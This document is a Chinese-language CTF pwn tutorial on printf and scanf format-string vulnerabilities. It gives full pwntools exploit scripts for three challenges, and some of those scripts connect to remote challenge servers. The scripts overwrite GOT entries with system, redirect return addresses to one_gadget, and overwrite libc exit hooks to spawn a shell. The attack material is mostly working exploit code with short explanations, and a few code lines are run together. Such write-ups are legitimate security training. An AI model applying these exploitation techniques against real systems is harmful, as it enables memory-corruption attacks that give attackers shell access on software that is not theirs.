printf型格式化字符串漏洞:
任意地址写:
32位:
例题(inndy_echo):
有格式化字符串漏洞,可以修改printf的got表内地址为system,传参getshell
解法一:
在32位中可以使用fmtstr_payload直接修改,免去很多麻烦
完整exp:
from pwn import*
p=process('./echo')
p=remote('node5.buuoj.cn',25852)
system_plt=0x8048400
printf_got=0x804A010
print(hex(system_plt))payload=fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
payload=b'/bin/sh\x00'
p.sendline(payload)
p.interactive()
这个没啥好讲的,只是这个函数64位几乎用不了。
解法二:
完整exp:
from pwn import*
p=process('./echo')
system_plt=0x8048400
printf_got=0x804A010payload=b'%17$hhn'+b'%4c%18$hhn'+b'%4c%19$hhn'+b'%124c%20$hhn'
print(len(payload))
payload=payload.ljust(0x28,b'\x00')
payload+=p32(printf_got)+p32(printf_got+2)+p32(printf_got+3)+p32(printf_got+1)
print(len(payload))
p.sendline(payload)
p.interactive()
在这个方法中没有使用fmtstr_payload函数,虽然麻烦一点,但必须掌握。
先回顾一下知识点
在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位对于所有libc函数来说都是相同的,后24位不同。
在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位所有相同,后24位不同,这里不包含\x00截断。
以上情况包含了libc基地址+偏移过大的情况,在基地址较小的情况下甚至可以达到32位中前12位相同,64位中前28位相同。当然即使是在libc基地址+偏移过大的情况下,也会有部分函数32位中前12位相同,64位中前28位相同。
啥是libc基地址+偏移过大的情况?
部分函数的偏移过大,会影响下一个4位。
所以严谨地来说
在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位(1字节)对于所有libc函数来说都是相同的,后24位(3字节)不同。
在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位(3字节)所有相同,后24位(3字节)不同,这里不包含\x00截断。
回到题目,我们这里是把整个libc函数的真实地址修改为system的plt,所以不用管前多少位相同,统统改完就行,毕竟libc函数的真实地址跟system的plt一样只有4个字节,也就是32位。在这里提知识点只是防止知识点跟这道题搞混而已。
补充点:后面的printf_got记得要按小到大来覆盖。
64位:
例题(强网先锋 ez_fmt):
完整exp:
from pwn import*
context(log_level='debug')
p=process('./ezfmt')
libc=ELF('/root/libc-2.31.so')
read_got=0x403FE0
w=0x404010
main=0x401196p.recvuntil(b'There is a gift for you ')
buf=int(p.recv(14),16)
print(buf)
payload=b'%'+str(0x11ed).encode()+b'c%11$hn%19$p'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(buf-0x8)
p.send(payload)
p.recvuntil(b'0x')
libc_start_main243=int(b'0x'+p.recv(12),16)
libc_start_main=libc_start_main243-243
libcbase=libc_start_main-libc.sym['__libc_start_main']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]
payload=b'%'+str(onegadget&0xff).encode()+b'c%10$hhn'+b'%'+str((onegadget>>8&0xffff)-(onegadget&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(buf+0x68)+p64(buf+0x68+1)
p.send(payload)p.interactive()
#6
把细一点的地方讲一下
p.recvuntil(b'There is a gift for you ')
buf=int(p.recv(14),16)
print(buf)
payload=b'%'+str(0x11ed).encode()+b'c%11$hn%19$p'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(buf-0x8)
p.send(payload)
这里是利用程序本身会进行一个ret操作把栈上的地址存入rip中,这个时候我们可以用格式化字符串漏洞去修改栈顶存储的地址就可以实现程序的再一次执行(而且这个地址是我们printf之后存入rip的,而且正好是把w的值变为0的那一个指令,这样既可以避免w被改为0,又可以让程序再次运行格式化字符串漏洞)
栈上是有libc_start_main+243的地址的,可以顺带泄露出来。
利用栈上存储了将要运行的程序地址可以故技重施,把返回地址修改为onegadget。
scanf型格式化字符串漏洞:
任意地址写:
例题(XYCTF2024 fmt):
这里没什么好说的
完整exp:
from pwn import*
context(log_level='debug')
#p=process('./fmt')
p=remote('gz.imxbt.cn',20975)
backdoor=0x4012BEp.recvuntil(b'gift: ')
printf_addr=int(p.recv(14),16)
print(hex(printf_addr))
libc=ELF('./libc-2.31.so')
libcbase=printf_addr-libc.sym['printf']
exithook=libcbase+0x222f68
payload=b'%7$s'
payload=payload.ljust(8,b'\x00')
payload+=p64(exithook)
p.sendline(payload)
payload=p64(backdoor)
p.sendline(payload)
p.interactive()
这里操作的scanf格式化字符串任意写的实现条件:
1.可控制的格式化字符串的输入(因为要输入格式化字符串以及要修改的地址)
2.scanf
#补充点1:
在libc2.23中可以修改libcbase+0x5f0040+3848(指的是rtld_global+3848,以下以此类推)或libcbase+0x5f0040+3856为shell
在libc2.27可以修改libcbase+0x619060+3840或libcbase+0x619060+3848
这些地方被叫做exithook
持续更新